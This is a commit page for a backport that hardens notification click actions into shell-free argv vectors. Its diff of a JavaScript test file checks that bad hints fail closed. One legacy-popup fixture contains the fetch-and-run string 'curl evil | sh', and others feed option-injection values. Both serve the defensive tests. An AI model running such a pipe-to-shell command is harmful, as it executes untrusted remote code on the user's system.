Run notification click actions as safe argv (backport of #7926)

Backport of the notification click-command hardening (PR #7926, merged to
quattro as 43bfe9b9) onto the v4-0-1 release branch. Click actions are argv
vectors run without a shell, omarchy-notification-send calls the Notify D-Bus
method directly via busctl instead of notify-send, and --exec takes the command
as rest-of-line words. Excludes docs/notifications.md, which does not exist on
v4-0-1.
This commit is contained in:
Ryan Hughes committed 2026-08-23 19:56:59 -04:00
1 parent f2a2973de8
commit 286b8c2b1c
28 files changed
+494 -184

No files matched your search

+58 -18
View File
@@ -49,6 +49,38 @@ assert(!notifications.shouldBypassDnd({ appName: 'Slack', urgency: 2 }, 2), 'cri
assert(!notifications.shouldBypassDnd({ appName: 'omarchy-menu-keybindings', urgency: 1 }, 2), 'omarchy command app names do not bypass DND')
assert(!notifications.isEphemeralApp('omarchy-menu-keybindings'), 'notifications treat omarchy command app names as normal apps')
// The click action's argv form: parsed from the persisted omarchy-exec-argv
// JSON only when it is a non-empty array of strings whose program is present
// and not a leading-dash option. Everything else fails closed so a malformed or
// hostile hint can never fall through to a shell.
assertDeepEqual(
notifications.parseExecArgv('["mpv","--","/home/me/a b.mp4"]'),
['mpv', '--', '/home/me/a b.mp4'],
'notifications parse a valid exec argv vector'
)
assertEqual(notifications.parseExecArgv(''), null, 'notifications reject an empty exec argv hint')
assertEqual(notifications.parseExecArgv('not json'), null, 'notifications reject a non-JSON exec argv hint')
assertEqual(notifications.parseExecArgv('"mpv"'), null, 'notifications reject an exec argv hint that is not an array')
assertEqual(notifications.parseExecArgv('[]'), null, 'notifications reject an empty exec argv array')
assertEqual(notifications.parseExecArgv('["mpv",5]'), null, 'notifications reject a non-string element in the exec argv')
assertEqual(notifications.parseExecArgv('["--include=x","y"]'), null, 'notifications reject a leading-dash program in the exec argv')
assertEqual(notifications.parseExecArgv('["",""]'), null, 'notifications reject an empty program in the exec argv')
// The argv vector rides on the snapshot as the raw JSON string, so the model's
// value comparison stays a plain string compare and the file round-trip is
// lossless.
const execSnapshot = notifications.snapshotOf({
id: 3,
appName: 'omarchy-action',
summary: 'Download complete',
hints: { 'omarchy-exec-argv': '["mpv","--","/tmp/clip.mp4"]' }
}, 1)
assertEqual(
execSnapshot.execArgv,
'["mpv","--","/tmp/clip.mp4"]',
'notifications carry the exec argv hint onto the snapshot'
)
assertDeepEqual(
notifications.popupPlacement('top', 32, 6),
{
@@ -353,38 +385,46 @@ assertEqual(
'notifications omit the deadline field until a restore sets it'
)
// A click action carried as a command is the only kind that survives a shell
// The click action (an argv vector) is the only kind that survives a shell
// restart: a libnotify action leaves its sender waiting on an id from a server
// generation that no longer exists.
assertEqual(
notifications.snapshotOf({ id: 3, hints: { 'omarchy-exec': 'omarchy-menu-keybindings' } }, 1).exec,
'omarchy-menu-keybindings',
'notifications capture the click command from the exec hint'
)
assertEqual(
notifications.snapshotOf({ id: 3, hints: { 'omarchy-glyph': '!' } }, 1).exec,
notifications.snapshotOf({ id: 3, hints: { 'omarchy-glyph': '!' } }, 1).execArgv,
'',
'notifications leave the click command empty without an exec hint'
'notifications leave the click command empty without an exec argv hint'
)
assertEqual(
notifications.popupEntry(
JSON.parse(notifications.serializePopup({ id: 1, originalId: 1, timestamp: 5, exec: "mpv '/tmp/a b.mp4'" }, 1)),
JSON.parse(notifications.serializePopup({ id: 1, originalId: 1, timestamp: 5, execArgv: '["mpv","--","/tmp/a b.mp4"]' }, 1)),
1
).exec,
"mpv '/tmp/a b.mp4'",
'notifications round-trip the click command through popup files'
).execArgv,
'["mpv","--","/tmp/a b.mp4"]',
'notifications round-trip the click argv through popup files'
)
assertEqual(
notifications.popupEntry({ id: 1, originalId: 1, timestamp: 5 }, 1).exec,
notifications.popupEntry({ id: 1, originalId: 1, timestamp: 5 }, 1).execArgv,
'',
'notifications restore an empty click command for popups without one'
)
assertEqual(
notifications.historyEntry({ id: 1, exec: 'xdg-open /tmp/received' }, 1).exec,
'xdg-open /tmp/received',
'notifications keep the click command on history rows'
notifications.historyEntry({ id: 1, execArgv: '["xdg-open","/tmp/received"]' }, 1).execArgv,
'["xdg-open","/tmp/received"]',
'notifications keep the click argv on history rows'
)
// Upgrade fail-closed: a popup persisted by a pre-upgrade shell carried its
// click action as an `exec` shell string. After the update-triggered shell
// restart the new shell only honors execArgv, so a restored legacy popup keeps
// displaying but its click is inert — deliberately, because splitting the old
// shell string back into a command is exactly the injection being removed.
const legacyRestored = notifications.parsePopupFiles(
JSON.stringify({ id: 7, originalId: 7, timestamp: 9, summary: 'Legacy toast', exec: 'curl evil | sh' }),
1
)[0]
assertEqual(legacyRestored.execArgv || '', '', 'a restored legacy exec shell string is not carried into execArgv')
assert(!('exec' in legacyRestored), 'a restored legacy popup drops the old exec field')
assertEqual(notifications.parseExecArgv(legacyRestored.execArgv || ''), null, 'a restored legacy popup has no runnable click action')
const serviceQml = fs.readFileSync(path.join(root, 'shell/plugins/notifications/Service.qml'), 'utf8')
assert(
/readonly property int historyLimit: 10/.test(serviceQml),
@@ -527,8 +567,8 @@ assert(
'notifications service delimits every popup file during restore'
)
assert(
/var command = entry \? String\(entry\.exec \|\| ""\) : ""[\s\S]{0,300}?Util\.execDetached\(command\)/.test(serviceQml),
'notifications service runs the popup click command itself instead of a libnotify action'
/parseExecArgv\(entry \? entry\.execArgv : ""\)[\s\S]{0,200}?Util\.execArgv\(argv\)/.test(serviceQml),
'notifications service runs the popup click argv itself instead of a libnotify action'
)
assert(
/function clear\(\): string \{\s*service\.clearHistory\(\)/.test(serviceQml),